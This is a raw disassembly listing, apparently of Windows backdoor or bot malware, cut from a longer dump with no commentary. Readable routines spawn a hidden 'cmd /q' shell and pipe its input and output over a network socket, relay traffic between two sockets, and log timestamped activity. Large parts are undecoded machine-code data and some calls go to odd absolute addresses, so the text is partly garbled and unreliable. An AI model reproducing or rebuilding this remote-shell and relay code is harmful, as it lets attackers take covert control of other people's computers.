89E24589h dd 15FFE475h, 4CAFF4h, 0FB83D88Bh, 3B840FFFh, 8B000001h dd 106AB445h, 234C069h, 98890000h, 43DEBCh, 50E0458Dh dd 0A015FF53h, 85004CAFh, 17850FC0h, 68000001h, 7FFFFFFFh dd 9C15FF53h, 85004CAFh, 3850FC0h, 68000001h, 4342ACh dd 0CF045C7h, 89000000h, 7589F475h, 4642E8F8h, 89590000h dd 458D087Dh, 0FC45C7FCh, 10h, 0CC458D50h, 15FF5350h, 4CB008h dd 0FF83F88Bh, 0CA840FFFh, 0FF000000h, 458D0875h, 86A5008h dd 0FFFF68h, 15FF5700h, 4CAF54h, 74FFF883h, 45B70FC5h dd 0B475FFCEh, 50C87589h, 0FFD075FFh, 4CB00015h, 858D5000h dd 0FFFFFBECh, 43426868h, 0B7E85000h, 8D0000ACh, 0FFFBEC85h dd 0D1E850FFh, 57000045h, 0FBEC858Dh, 96AFFFFh, 0A50CE850h dd 4589FFFFh, 34C069B8h, 8B000002h, 0C483B44Dh, 0B4888924h dd 8D0043DEh, 8D50DC45h, 0FFFDEC85h, 685056FFh, 4107BFh dd 56F0458Dh, 50E89050h, 8B0224F4h, 0C969B84Dh, 234h, 8189C63Bh dd 43DEC4h, 75391374h, 37850FC8h, 6AFFFFFFh, 0F3C2E832h dd 0EB900224h, 3BE890EDh, 500224FCh, 43422C68h, 45CEE800h dd 59590000h, 7D8B03EBh, 815FF08h, 50004CAFh, 0FBEC858Dh dd 0F468FFFFh, 50004341h, 0AC15E8h, 0CC48300h, 75C47539h dd 858D5620h, 0FFFFFBECh, 50C075FFh, 0FDF0858Dh, 0FF50FFFFh dd 0FFFDECB5h, 8DDCE8FFh, 0C483FFFFh, 0EC858D14h, 50FFFFFBh dd 4507E8h, 0FF575900h, 4CB00C15h, 15FF5300h, 4CB00Ch dd 0AECC15FFh, 75FF004Ch, 0A750E8B4h, 5659FFFFh, 2AF337E8h dd 335B9002h, 244439C0h, 0C0940F04h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410CD5 proc near ; CODE XREF: ___:0041096Ep var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+arg_0] push edi call sub_410E26 imul edi, 234h mov esi, eax xor ebx, ebx mov eax, dword_43DEBC[edi] mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [esi+0Ch], eax mov edi, dword_42707C pop ecx lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_410FF8 lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+10h], eax jnz short loc_410D40 nop call near ptr 2660882h push eax push offset unk_43438C call sub_415220 or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx pop ecx jmp short loc_410D7A ; --------------------------------------------------------------------------- loc_410D40: ; CODE XREF: sub_410CD5+50j lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_4110AA lea eax, [ebp+var_C] push ebx push eax call edi cmp eax, ebx mov [esi+14h], eax jnz short loc_410D81 call near ptr 2660882h nop push eax push offset unk_43438C call sub_415220 pop ecx or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx push ebx push dword ptr [esi+14h] nop call near ptr 26706DCh loc_410D7A: ; CODE XREF: sub_410CD5+69j xor eax, eax jmp loc_410E21 ; --------------------------------------------------------------------------- loc_410D81: ; CODE XREF: sub_410CD5+82j mov eax, [esi+10h] push 0FFFFFFFFh mov [ebp+var_18], eax mov eax, [esi+14h] mov [ebp+var_14], eax mov eax, [esi+8] mov [ebp+var_10], eax lea eax, [ebp+var_18] push ebx push eax push 3 nop call near ptr 27503D4h sub eax, ebx jz short loc_410DDB dec eax jz short loc_410DD5 dec eax jz short loc_410DC1 nop call near ptr 2660882h push eax push offset unk_434358 call sub_415220 pop ecx pop ecx jmp short loc_410DF0 ; --------------------------------------------------------------------------- loc_410DC1: ; CODE XREF: sub_410CD5+D5j mov edi, dword_4270AC push ebx push dword ptr [esi+14h] call edi push ebx push dword ptr [esi+10h] call edi jmp short loc_410DF0 ; --------------------------------------------------------------------------- loc_410DD5: ; CODE XREF: sub_410CD5+D2j push ebx push dword ptr [esi+10h] jmp short loc_410DDF ; --------------------------------------------------------------------------- loc_410DDB: ; CODE XREF: sub_410CD5+CFj push ebx push dword ptr [esi+14h] loc_410DDF: ; CODE XREF: sub_410CD5+104j nop call near ptr 26706DCh push 1 push dword ptr [esi+8] nop call near ptr 26E0B5Bh loc_410DF0: ; CODE XREF: sub_410CD5+EAj ; sub_410CD5+FEj push dword ptr [esi+10h] mov edi, dword_427068 call edi push dword ptr [esi+14h] call edi push dword ptr [esi+8] call edi push dword ptr [esi] call edi push dword ptr [esi+4] call edi push dword ptr [esi+0Ch] call dword_4CB00C push esi call sub_41B0B1 pop ecx push 1 pop eax loc_410E21: ; CODE XREF: sub_410CD5+A7j pop edi pop esi pop ebx leave retn sub_410CD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410E26 proc near ; CODE XREF: sub_410CD5+Dp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi xor edi, edi push 18h mov [ebp+var_4], edi mov [ebp+var_8], edi call sub_41B4D5 mov esi, eax pop ecx cmp esi, edi jz loc_410F10 mov ebx, dword_4270FC lea eax, [ebp+var_14] push edi push eax lea eax, [ebp+var_8] mov [esi], edi push eax mov [esi+4], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call ebx mov edi, dword_427068 test eax, eax jnz short loc_410E89 call near ptr 2660882h nop push eax push offset unk_43443C jmp short loc_410EA9 ; --------------------------------------------------------------------------- loc_410E89: ; CODE XREF: sub_410E26+53j lea eax, [ebp+var_14] push 0 push eax lea eax, [esi+4] push eax lea eax, [ebp+var_4] push eax call ebx test eax, eax jnz short loc_410EB1 nop call near ptr 2660882h push eax push offset unk_4343FC loc_410EA9: ; CODE XREF: sub_410E26+61j call sub_415220 pop ecx jmp short loc_410EDF ; --------------------------------------------------------------------------- loc_410EB1: ; CODE XREF: sub_410E26+75j push [ebp+arg_0] push [ebp+var_8] push [ebp+var_4] call sub_410F1F add esp, 0Ch mov [esi+8], eax push [ebp+var_4] call edi push [ebp+var_8] call edi cmp dword ptr [esi+8], 0 jnz short loc_410F14 push offset unk_4343D4 call sub_4151AC loc_410EDF: ; CODE XREF: sub_410E26+89j cmp [ebp+var_4], 0 pop ecx jz short loc_410EEB push [ebp+var_4] call edi loc_410EEB: ; CODE XREF: sub_410E26+BEj cmp [ebp+var_8], 0 jz short loc_410EF6 push [ebp+var_8] call edi loc_410EF6: ; CODE XREF: sub_410E26+C9j mov eax, [esi] test eax, eax jz short loc_410EFF push eax call edi loc_410EFF: ; CODE XREF: sub_410E26+D4j mov eax, [esi+4] test eax, eax jz short loc_410F09 push eax call edi loc_410F09: ; CODE XREF: sub_410E26+DEj push esi call sub_41B0B1 pop ecx loc_410F10: ; CODE XREF: sub_410E26+1Dj xor eax, eax jmp short loc_410F1A ; --------------------------------------------------------------------------- loc_410F14: ; CODE XREF: sub_410E26+ADj or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_410F1A: ; CODE XREF: sub_410E26+ECj pop edi pop esi pop ebx leave retn sub_410E26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410F1F proc near ; CODE XREF: sub_410E26+94p var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi push 44h pop edi xor esi, esi push edi lea eax, [ebp+var_58] push esi push eax mov [ebp+var_4], esi call sub_41B590 push 10h lea eax, [ebp+var_14] push esi push eax call sub_41B590 mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] add esp, 18h mov [ebp+var_20], eax lea eax, [ebp+var_18] mov [ebp+var_58], edi mov edi, dword_4270F8 push esi push 1 push 2 push eax mov [ebp+var_54], esi mov [ebp+var_4C], esi mov [ebp+var_50], esi mov [ebp+var_3C], esi mov [ebp+var_40], esi mov [ebp+var_44], esi mov [ebp+var_48], esi mov [ebp+var_28], si mov [ebp+var_24], esi mov [ebp+var_26], si mov [ebp+var_2C], 101h mov [ebp+var_1C], ebx call edi push eax push ebx call edi push eax nop call near ptr 26F0000h lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi nop call near ptr 2640BBCh test eax, eax jz short loc_410FDB mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] imul eax, 234h push [ebp+var_10] mov esi, [ebp+var_14] mov dword_43DEB8[eax], ecx nop call near ptr 26408DCh jmp short loc_410FF1 ; --------------------------------------------------------------------------- loc_410FDB: ; CODE XREF: sub_410F1F+9Aj nop call near ptr 2660882h push eax push offset unk_43447C call sub_415220 mov esi, [ebp+var_4] pop ecx pop ecx loc_410FF1: ; CODE XREF: sub_410F1F+BAj mov eax, esi pop edi pop esi pop ebx leave retn sub_410F1F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410FF8 proc near ; DATA XREF: sub_410CD5+3Fo var_1B0 = byte ptr -1B0h var_C8 = byte ptr -0C8h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi mov ebx, dword_4270E8 push edi mov edi, [ebp+arg_0] lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] loc_411021: ; CODE XREF: sub_410FF8+8Fj call ebx test eax, eax jz short loc_411089 xor eax, eax xor dl, dl xor esi, esi cmp [ebp+arg_0], eax jbe short loc_41105C loc_411032: ; CODE XREF: sub_410FF8+62j mov cl, [ebp+esi+var_C8] cmp cl, 0Ah jnz short loc_41104C cmp dl, 0Dh jz short loc_41104C mov [ebp+eax+var_1B0], 0Dh inc eax loc_41104C: ; CODE XREF: sub_410FF8+44j ; sub_410FF8+49j mov [ebp+eax+var_1B0], cl inc eax inc esi mov dl, cl cmp esi, [ebp+arg_0] jb short loc_411032 loc_41105C: ; CODE XREF: sub_410FF8+38j push 0 push eax lea eax, [ebp+var_1B0] push eax push dword ptr [edi+0Ch] call dword_4CAFC4 test eax, eax jle short loc_411089 lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] jmp short loc_411021 ; --------------------------------------------------------------------------- loc_411089: ; CODE XREF: sub_410FF8+2Dj ; sub_410FF8+79j mov esi, dword_42708C call esi cmp eax, 6Dh jz short loc_4110A5 call esi push eax push offset dword_4344BC call sub_415220 pop ecx pop ecx loc_4110A5: ; CODE XREF: sub_410FF8+9Cj pop edi pop esi pop ebx leave retn sub_410FF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4110AA proc near ; DATA XREF: sub_410CD5+71o var_DC = byte ptr -0DCh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DCh push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_0] xor esi, esi mov [ebp+var_10], ebx mov [ebp+var_C], ebx loc_4110C3: ; CODE XREF: sub_4110AA+39j ; sub_4110AA+D7j ... push ebx lea eax, [ebp+arg_0+3] push 1 push eax push dword ptr [edi+0Ch] call dword_4CAF8C test eax, eax jle loc_4111C8 cmp [ebp+var_10], ebx jbe short loc_4110E5 dec [ebp+var_10] jmp short loc_4110C3 ; --------------------------------------------------------------------------- loc_4110E5: ; CODE XREF: sub_4110AA+34j mov al, byte ptr [ebp+arg_0+3] movsx ecx, al cmp ecx, 0FFh jz loc_4111A8 cmp al, 8 mov [ebp+var_C], ebx jz short loc_411155 cmp al, 7Fh jz short loc_411155 cmp al, 3 jnz short loc_411110 push ebx push ebx nop call near ptr 2750497h jmp short loc_41117C ; --------------------------------------------------------------------------- loc_411110: ; CODE XREF: sub_4110AA+5Aj cmp al, 15h jnz short loc_411132 xor esi, esi mov [ebp+var_8], 20h mov [ebp+var_7], 58h mov [ebp+var_6], 58h mov [ebp+var_5], 58h mov [ebp+var_4], 0Dh mov [ebp+var_3], 0Ah push 6 jmp short loc_411168 ; --------------------------------------------------------------------------- loc_411132: ; CODE XREF: sub_4110AA+68j mov [ebp+esi+var_DC], al inc esi push 1 cmp al, 0Dh mov [ebp+var_8], al pop ecx jnz short loc_411169 mov [ebp+esi+var_DC], 0Ah mov [ebp+var_7], 0Ah inc esi push 2 jmp short loc_411168 ; --------------------------------------------------------------------------- loc_411155: ; CODE XREF: sub_4110AA+52j ; sub_4110AA+56j cmp esi, ebx jbe short loc_41117F dec esi mov [ebp+var_8], 8 mov [ebp+var_7], 20h mov [ebp+var_6], 8 push 3 loc_411168: ; CODE XREF: sub_4110AA+86j ; sub_4110AA+A9j pop ecx loc_411169: ; CODE XREF: sub_4110AA+98j push ebx lea eax, [ebp+var_8] push ecx push eax push dword ptr [edi+0Ch] call dword_4CAFC4 test eax, eax jle short loc_4111C8 loc_41117C: ; CODE XREF: sub_4110AA+64j mov al, byte ptr [ebp+arg_0+3] loc_41117F: ; CODE XREF: sub_4110AA+ADj cmp al, 0Dh jnz loc_4110C3 lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_DC] push esi push eax push dword ptr [edi+4] nop call near ptr 26D0000h test eax, eax jz short loc_4111C8 xor esi, esi jmp loc_4110C3 ; --------------------------------------------------------------------------- loc_4111A8: ; CODE XREF: sub_4110AA+47j cmp [ebp+var_C], ebx jnz short loc_4111B9 mov [ebp+var_C], 1 jmp loc_4110C3 ; --------------------------------------------------------------------------- loc_4111B9: ; CODE XREF: sub_4110AA+101j mov [ebp+var_10], 0Ah mov [ebp+var_C], ebx jmp loc_4110C3 ; --------------------------------------------------------------------------- loc_4111C8: ; CODE XREF: sub_4110AA+2Bj ; sub_4110AA+D0j ... pop edi pop esi pop ebx leave retn sub_4110AA endp ; --------------------------------------------------------------------------- byte_4111CD db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2C07o dd 2D4EC81h, 458B0000h, 57565308h, 0F08B106Ah, 2CBD8D5Bh dd 6AFFFFFFh, 0FC5D892Ch, 6AA5F359h, 5FF63301h, 0A8B889h dd 8D530000h, 5056EC45h, 0A38BE8h, 0CC48300h, 0EC45C766h dd 75FF0002h, 7415FFC0h, 6A004CAFh, 26A5706h, 0EE458966h dd 0FFF07589h, 4CAFF415h, 8BF88B00h, 0C069C445h, 234h dd 0BCB88953h, 8D0043DEh, 5750EC45h, 0AFA015FFh, 0C085004Ch dd 121850Fh, 0A6A0000h, 9C15FF57h, 85004CAFh, 10850FC0h dd 0FF000001h, 0B5FFC075h, 0FFFFFF2Ch, 0FF99A2E8h, 8D5059FFh dd 0FFFD2C85h, 0B8C068FFh, 0E8500042h, 0A606h, 3910C483h dd 2075D075h, 2C858D56h, 0FFFFFFFDh, 8D50CC75h, 0FFFF3085h dd 0B5FF50FFh, 0FFFFFF2Ch, 0FF87CDE8h, 14C483FFh, 0FD2C858Dh dd 0E850FFFFh, 3EF8h, 0FC458D59h, 0DC458D50h, 15FF5750h dd 4CB008h, 8BC475FFh, 45B70FD8h, 758950DEh, 0E075FFD8h dd 0B00015FFh, 8D50004Ch, 0FFFD2C85h, 456868FFh, 0E8500043h dd 0A59Ah, 2C858D53h, 6AFFFFFDh, 0FBE85019h, 89FFFF9Dh dd 0C069C845h, 234h, 83C44D8Bh, 888920C4h, 43DEB4h, 5008458Dh dd 0FF2C858Dh, 5056FFFFh, 4113D268h, 0E8565600h, 224ED43h dd 0C84D8B90h, 234C969h, 0C63B0000h, 0DEC48189h, 13740043h dd 0FD87539h, 0FFFF6385h, 90056AFFh, 24ECB3E8h, 90EDEB02h dd 24F52DE8h, 858D5002h, 0FFFFFD2Ch, 43452C68h, 1FE85000h dd 830000A5h, 39E90CC4h, 57FFFFFFh, 0B00C15FFh, 75FF004Ch dd 2C858DC0h, 68FFFFFDh, 4344F8h, 0A4FCE850h, 0C4830000h dd 0D075390Ch, 8D562075h, 0FFFD2C85h, 0CC75FFFFh, 30858D50h dd 50FFFFFFh, 0FF2CB5FFh, 0C3E8FFFFh, 83FFFF86h, 858D14C4h dd 0FFFFFD2Ch, 3DEEE850h, 75FF0000h, 0A04CE8C4h, 5959FFFFh dd 0EC32E856h, 5F90022Ah, 8B555B5Eh, 0D4EC81ECh, 8B000005h dd 56530845h, 8B2C6A57h, 0BD8D59F0h, 0FFFFFF38h, 758BA5F3h dd 89016AD4h, 0F6690875h, 234h, 0BCB68D5Fh, 890043DEh dd 0ACB8h, 8BDB3300h, 0F845C706h, 5, 0FA308589h, 458DFFFFh dd 8D5350F8h, 0FFFA2C85h, 535053FFh, 89FC5D89h, 0FFFA2CBDh dd 5C15FFFFh, 85004CAFh, 0FF1875C0h, 0C15FF36h, 0FF004CB0h dd 0C7E80875h, 59FFFF9Fh, 0EBAEE853h, 5390022Ah, 0FB30858Dh dd 868FFFFh, 50000004h, 15FF36FFh, 4CAF8Ch, 187FC085h dd 15FF36FFh, 4CB00Ch, 0E80875FFh, 0FFFF9F96h, 7DE85359h dd 90022AEBh, 0FB30BD80h, 0F04FFFFh, 1ED85h, 31BD8000h dd 1FFFFFBh, 1E0850Fh, 5D380000h, 8D7774BCh, 8D50BC45h dd 0FFFB3885h, 0BDE850FFh, 590000ABh, 7459C085h, 0BC458D61h dd 38858D50h, 50FFFFFBh, 43463068h, 3D52E800h, 680000h dd 8D000004h, 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh dd 5DFFFFFBh, 0A0A3E8h, 18C48300h, 0FB30858Dh, 6A53FFFFh dd 36FF5008h, 0AFC415FFh, 36FF004Ch, 0B00C15FFh, 75FF004Ch dd 9F00E808h, 5359FFFFh, 0EAE6E890h, 106A022Ah, 53E8458Dh dd 0A06AE850h, 8B660000h, 0FFFB3285h, 0CC483FFh, 0EA458966h dd 0FB34858Bh, 66AFFFFh, 66026A57h, 2E845C7h, 0EC458900h dd 0AFF415FFh, 0F88B004Ch, 75FFFF83h, 815FF5Dh, 50004CAFh dd 4345F068h, 3CBAE800h, 680000h, 8D000004h, 0FFFB3885h dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh, 0A00BE8h dd 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h, 0AFC415FFh dd 36FF004Ch, 0B00C15FFh, 75FF004Ch, 9E68E808h, 5359FFFFh dd 2AEA4FE8h, 458D9002h, 50106AE8h, 1C15FF57h, 83004CAFh dd 5D75FFF8h, 0AF0815FFh, 6850004Ch, 4345ACh, 3C4BE8h dd 4006800h, 858D0000h, 0FFFFFB38h, 9D885053h, 0FFFFFB30h dd 0FB3185C6h, 0E85BFFFFh, 9F9Ch, 8D14C483h, 0FFFB3085h dd 86A53FFh, 0FF36FF50h, 4CAFC415h, 0FF36FF00h, 4CB00C15h dd 875FF00h, 0FF9DF9E8h, 905359FFh, 2AE9DFE8h, 4006802h dd 858D0000h, 0FFFFFB38h, 9D885053h, 0FFFFFB30h, 0FB3185C6h dd 0E85AFFFFh, 9F50h, 8D0CC483h, 0FFFB3085h, 86A53FFh dd 0FF36FF50h, 4CAFC415h, 5736FF00h, 39E8h, 57595900h dd 0B00C15FFh, 36FF004Ch, 0B00C15FFh, 75FF004Ch, 9D9CE808h dd 5359FFFFh, 0E982E890h, 36FF022Ah, 0B00C15FFh, 75FF004Ch dd 9D84E808h, 5359FFFFh, 0E96AE890h ; --------------------------------------------------------------------------- sub al, [edx] push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+0Ch] push esi push edi xor edi, edi mov esi, 400h loc_4116AC: ; CODE XREF: ___:0041175Bj ; ___:0041178Bj mov [ebp-100h], ebx mov dword ptr [ebp-104h], 1 xor ecx, ecx lea eax, [ebp-100h] loc_4116C4: ; CODE XREF: ___:004116D2j mov edx, [ebp+8] cmp [eax], edx jz short loc_4116D4 inc ecx add eax, 4 cmp ecx, 1 jb short loc_4116C4 loc_4116D4: ; CODE XREF: ___:004116C9j cmp ecx, 1 jnz short loc_4116E9 mov [ebp-0FCh], edx mov dword ptr [ebp-104h], 2 loc_4116E9: ; CODE XREF: ___:004116D7j push esi lea eax, [ebp-504h] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-104h] push edi push edi push edi push eax push edi call dword_4CAF5C lea eax, [ebp-104h] push eax push ebx call dword_4CAE60 test eax, eax jz short loc_411749 push edi lea eax, [ebp-504h] push esi push eax push ebx call dword_4CAF8C cmp eax, 0FFFFFFFFh jz short loc_411791 push edi push eax lea eax, [ebp-504h] push eax push dword ptr [ebp+8] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jz short loc_411791 loc_411749: ; CODE XREF: ___:0041171Bj lea eax, [ebp-104h] push eax push dword ptr [ebp+8] call dword_4CAE60 test eax, eax jz loc_4116AC push edi lea eax, [ebp-504h] push esi push eax push dword ptr [ebp+8] call dword_4CAF8C cmp eax, 0FFFFFFFFh jz short loc_411791 push edi push eax lea eax, [ebp-504h] push eax push ebx call dword_4CAFC4 cmp eax, 0FFFFFFFFh jnz loc_4116AC loc_411791: ; CODE XREF: ___:00411730j ; ___:00411747j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- word_411796 dw 8B55h ; DATA XREF: sub_401ACD+210Do ; sub_40BACD+106o dd 7CEC81ECh, 8B000008h, 56530855h, 33016A57h, 0A9B958DBh dd 8B000000h, 8CBD8DF2h, 53FFFFFCh, 0A5F3026Ah, 0FE9C85FFh dd 26AFFFFh, 89F04589h, 4589EC45h, 0A08289F8h, 0FF000002h dd 4CAFF415h, 83F08B00h, 5675FFFEh, 19068h, 15E89000h dd 390224E8h, 0FFFF289Dh, 532375FFh, 0F888858Dh, 0B5FFFFFFh dd 0FFFFFF24h, 0A4858D50h, 50FFFFFEh, 0FC8CB5FFh, 5FE8FFFFh dd 83FFFF82h, 858D14C4h, 0FFFFF888h, 398AE850h, 0B5FF0000h dd 0FFFFFE98h, 0FF9BE5E8h, 535959FFh, 0E7CAE890h, 458D022Ah dd 50046AF0h, 0FFFFBFh, 57046A00h, 5415FF56h, 8D004CAFh dd 46AEC45h, 57FB6A50h, 5415FF56h, 8B004CAFh, 0FFFE9885h dd 69106AFFh, 234C0h, 0B0895300h, 43DEBCh, 50D4458Dh, 9D17E8h dd 0CC48300h, 0D445C766h, 0B5FF0002h, 0FFFFFEA0h, 0AF7415FFh dd 8966004Ch, 458DD645h, 50106AD4h, 0D85D8956h, 0AFA015FFh dd 0F883004Ch, 681975FFh, 1388h, 0E74EE890h, 8DFF0224h dd 0FFFFFE9Ch, 0E90875FFh, 347h, 0FC90858Dh, 6868FFFFh dd 50004290h, 9BF1E8h, 0C33B5900h, 0FC458959h, 90684C75h dd 90000001h, 24E71BE8h, 858D5302h, 0FFFFF888h, 0FF24B5FFh dd 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh, 0FFFFFC8Ch, 0FF816DE8h dd 88858DFFh, 50FFFFF8h, 389BE8h, 98B5FF00h, 0E8FFFFFEh dd 0FFFF9AF6h, 531CC483h, 2AE6DBE8h, 7D8B9002h, 0A09F3908h dd 0F000002h, 29584h, 80BF00h, 858D0000h, 0FFFFFF30h, 0C7505357h dd 5E445h, 45C70000h, 1388E8h, 88B58900h, 0C7FFFFF7h, 0FFF78485h dd 1FFh, 9C2AE800h, 0C4830000h, 0E4458D0Ch, 858D5350h dd 0FFFFF784h, 0FF535053h, 4CAF5C15h, 0FC08500h, 2398Eh dd 0D128A000h, 0CF8B0043h, 0FA888588h, 0C033FFFFh, 0FA89BD8Dh dd 45C7FFFFh, 10F4h, 66ABF300h, 458DAAABh, 458D50F4h, 8D5350C4h dd 0FFFF3085h, 8068FFh, 56500000h, 0AF4C15FFh, 75FF004Ch dd 0F84589C8h, 0B00015FFh, 8D50004Ch, 0E850B045h, 9EAEh dd 0FF309D38h, 5959FFFFh, 1C2850Fh, 0BD800000h, 0FFFFFF31h dd 0BB850F01h, 8D000000h, 0FFFD9485h, 0E1E850FFh, 53000095h dd 0FC75FF53h, 0B7E3E8h, 0FC75FF00h, 0FA8C858Dh, 9D88FFFFh dd 0FFFFFA88h, 0FA8985C6h, 6803FFFFh, 200h, 8850016Ah dd 0FFFA8A9Dh, 8B85C6FFh, 1FFFFFAh, 96E1E8h, 20C48300h dd 89C44D8Dh, 0C083F845h, 0F475FF04h, 8D505351h, 0FFFA8885h dd 0FF5650FFh, 4CAFD815h, 0B0458D00h, 88858D50h, 68FFFFF8h dd 43469Ch, 9E18E850h, 0C4830000h, 289D390Ch, 75FFFFFFh dd 858D5323h, 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h dd 0B5FF50FFh, 0FFFFFC8Ch, 0FF7FD9E8h, 14C483FFh, 0F888858Dh dd 0E850FFFFh, 3704h, 110E959h, 0BD800000h, 0FFFFFF31h dd 0ED850F04h, 8A000000h, 0FFFF338Dh, 32858AFFh, 80FFFFFFh dd 9D88FFF9h, 0FFFFFA88h, 0FA8985C6h, 7503FFFFh, 32C0FE12h dd 8A8588C9h, 88FFFFFAh, 0FFFA8B9Dh, 0FE0EEBFFh, 8A8588C1h dd 88FFFFFAh, 0FFFA8B8Dh, 0C0B60FFFh, 0C1C9B60Fh, 0C10308E0h dd 200BFh, 9E0C100h, 5053C72Bh, 0E8FC75FFh, 0B6D4h, 8DFC75FFh dd 0FFFA8C85h, 16A57FFh, 95F0E850h, 0C4830000h, 8DF88B1Ch dd 7D89C445h, 0F475FFF8h, 4478D50h, 858D5053h, 0FFFFFA88h dd 15FF5650h, 4CAFD8h, 6E75FB3Bh, 50B0458Dh, 0F888858Dh dd 7C68FFFFh, 50004346h, 9D21E8h, 0CC48300h, 0FF289D39h dd 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh dd 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF7EE2h, 8D14C483h dd 0FFF88885h, 0DE850FFh, 0FF000036h, 4CDA7C05h, 16EB5900h dd 8DF475FFh, 5350C445h, 7068096Ah, 56004346h, 0AFD815FFh dd 5D39004Ch, 5F8F0FF8h, 8BFFFFFDh, 0FF56087Dh, 4CB00C15h dd 0FC75FF00h, 9482E8h, 9C8DFF00h, 39FFFFFEh, 2A09Fh, 13755900h dd 0FE98B5FFh, 1FE8FFFFh, 59FFFF98h, 5E89053h, 68022AE4h dd 3E8h, 0E3FAE890h, 0E8570224h, 0FFFFFB8Ah, 0C95B5E5Fh ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 314h lea eax, [ebp-10h] push esi push eax nop call near ptr 2750611h lea eax, [ebp-114h] push 104h push eax nop call near ptr 2650A62h lea eax, [ebp-114h] push offset asc_434E5C ; "\\" push eax call sub_41BEC0 lea eax, [ebp-114h] push offset dword_429118 push eax call sub_41BEC0 lea eax, [ebp-114h] push offset aAb ; "ab" push eax call sub_41B4C2 mov esi, eax add esp, 18h test esi, esi jnz short loc_411C7A push 1 pop eax jmp short loc_411CF1 ; --------------------------------------------------------------------------- loc_411C7A: ; CODE XREF: ___:00411C73j movzx eax, word ptr [ebp-4] push dword ptr [ebp+8] push eax movzx eax, word ptr [ebp-6] push eax movzx eax, word ptr [ebp-8] push eax movzx eax, word ptr [ebp-10h] push eax movzx eax, word ptr [ebp-0Ah] push eax movzx eax, word ptr [ebp-0Eh] push eax push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n" push esi call sub_41BE06 push esi call sub_41B05B add esp, 28h cmp dword ptr [ebp+98h], 0 jnz short loc_411CEF push dword ptr [ebp+8] lea eax, [ebp-314h] push offset dword_434E2C push 200h push eax call sub_41B980 push 0 lea eax, [ebp-314h] push dword ptr [ebp+94h] push eax lea eax, [ebp+14h] push eax push dword ptr [ebp+0Ch] call sub_409A72 add esp, 24h loc_411CEF: ; CODE XREF: ___:00411CB6j xor eax, eax loc_411CF1: ; CODE XREF: ___:00411C78j pop esi leave retn ; --------------------------------------------------------------------------- dword_411CF4 dd 81EC8B55h, 8DCECh, 8458B00h, 83575653h, 0FFF724A5h ; DATA XREF: sub_401ACD+4508o dd 256A00FFh, 0FC6583h, 8DF08B59h, 0FFFF24BDh, 0C7A5F3FFh dd 9080h, 100h, 0FFB900h, 0C0330000h, 0F728BD8Dh, 0ABF3FFFFh dd 0AEF815FFh, 4D8D004Ch, 513C6AB8h, 0F8458950h, 0AF1015FFh dd 0BB004Ch, 6A000002h, 0E2AAE808h, 0FF900224h, 4CAEF815h dd 0F8453B00h, 